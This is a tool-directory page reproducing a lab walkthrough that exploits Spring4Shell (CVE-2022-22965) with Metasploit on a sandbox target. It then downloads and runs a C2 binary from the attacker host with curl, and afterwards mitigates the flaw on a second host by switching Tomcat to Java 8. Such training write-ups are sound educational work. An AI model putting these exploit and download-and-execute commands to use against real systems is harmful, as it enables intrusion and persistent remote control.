Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Sandbox-Challenge-Spring4Shell-CVE-2022-22965- — 逐步指导如何使用 Metasploit 利用 CVE-2022-22965 (Spring4Shell)、部署 C2 监听器,并通过将 Tomcat 服务器降级至 Java 8 来缓解该漏洞。 | Kitploit
工具/GitHubGitHub/felisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试命令与控制学习与教育红队实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubfelisha-elmer/sandbox-challenge-spring4shell-cve-2022-22965-

Sandbox-Challenge-Spring4Shell-CVE-2022-22965-

逐步指导如何使用 Metasploit 利用 CVE-2022-22965 (Spring4Shell)、部署 C2 监听器,并通过将 Tomcat 服务器降级至 Java 8 来缓解该漏洞。

查看仓库
163个月前尚未审核
分享

Spring4Shell 威胁沙盒 (CVE-2022-22965)

概述

本演练记录了完成针对 CVE-2022-22965(通常称为 Spring4Shell)的沙盒挑战的过程。该漏洞是一个影响特定版本 Spring Java 框架的严重远程代码执行漏洞(CVSS 9.8/10)。挑战涵盖了该漏洞的进攻方(红队)和防御方(蓝队)视角。

注意: 本演练中的命令和文件路径反映了本次尝试中使用的特定环境。您的环境可能有所不同——请相应调整路径、IP 地址和文件名。


环境

机器IP 地址角色
Security-Desk (Kali Linux)172.16.200.12攻击与工作主机
Red Target (Linux)172.16.100.90漏洞利用目标
Blue Target (Linux)172.16.100.100加固目标

凭证: playerone / password123


红队目标:在 Red Target 上部署 C2 监听器

步骤 1 — 识别目标

查看挑战面板中的网络映射标签页,确认 Red Target IP (172.16.100.90)。使用 curl 检查在端口 80 上运行的 Web 应用程序:

root@kitploit:~
curl http://172.16.100.90

输出显示 Apache Tomcat 9.0.59,并重定向至 /dasmsp。浏览页面源代码,发现一个 POST 表单端点 /dasmsp/contact。

步骤 2 — 启动 Metasploit 并配置漏洞利用

root@kitploit:~
msfconsole
root@kitploit:~
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run

漏洞利用成功生成了一个 JSP shell,修改了类加载器,清除了日志文件,并在 Red Target 上打开了命令 shell 会话。

步骤 3 — 获取交互式 Shell

会话打开后,输入 shell 升级为交互式 Shell。Metasploit 在目标上定位了 /usr/bin/script,并利用它弹出了一个以 tomcat 用户身份运行的交互式 Shell。

步骤 4 — 传输并执行 deploy_c2

deploy_c2 二进制文件位于 Security-Desk 而非 Red Target 上。在 Security-Desk 上通过 Python3 HTTP 服务器托管它:

root@kitploit:~
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080

在 Red Target 的 shell 会话中下载并执行:

root@kitploit:~
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

输出确认:Done! — C2 监听器已成功部署在 Red Target 上。


蓝队目标:缓解 Blue Target 上的 CVE-2022-22965(降级至 Java 8)

步骤 1 — SSH 登录 Blue Target

在 Security-Desk 终端中:

root@kitploit:~
ssh [email protected]

密码:password123

步骤 2 — 将 Java 8 软件包传输至 Blue Target

Java 8 的 .deb 软件包位于 Security-Desk 的 /home/playerone/Desktop/Resources/ 目录下。通过 Security-Desk 终端使用 SCP 将其传输到 Blue Target:

root@kitploit:~
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/

传输的软件包:

  • adoptium-ca-certificates_1.0.2-1_all.deb
  • fonts-dejavu_2.37-6_all.deb
  • p11-kit-modules_0.24.1-2_amd64.deb
  • p11-kit_0.24.1-2_amd64.deb
  • temurin-8-jdk_8.0.402.0.0+6_amd64.deb

步骤 3 — 安装 Java 8 软件包

在 Blue Target 的 SSH 会话中:

root@kitploit:~
sudo dpkg -i /tmp/*.deb

步骤 4 — 将 Java 8 设为默认版本(已知问题解决方法)

由于挑战中的一个已知问题,若不手动将 Java 8 设为默认版本,检查项无法正确注册:

root@kitploit:~
sudo update-alternatives --config java

选择选项 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java。

步骤 5 — 更新 Tomcat 服务以使用 Java 8

检查 Tomcat 服务单元文件:

root@kitploit:~
cat /etc/systemd/system/tomcat.service

编辑文件以更新 JAVA_HOME 环境变量:

root@kitploit:~
sudo nano /etc/systemd/system/tomcat.service

将:

root@kitploit:~
Environment="JAVA_HOME=/usr"

改为:

root@kitploit:~
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"

步骤 6 — 重新加载并重启 Tomcat

root@kitploit:~
sudo systemctl daemon-reload
sudo systemctl restart tomcat

挑战面板中 "CVE-2022-22965 Mitigated on Blue Target" 检查项变为绿色。


使用工具

  • Metasploit Framework(spring_framework_rce_spring4shell 模块)
  • curl
  • Python3 HTTP Server
  • SSH / SCP
  • dpkg
  • systemctl
  • update-alternatives
  • nano
下载工具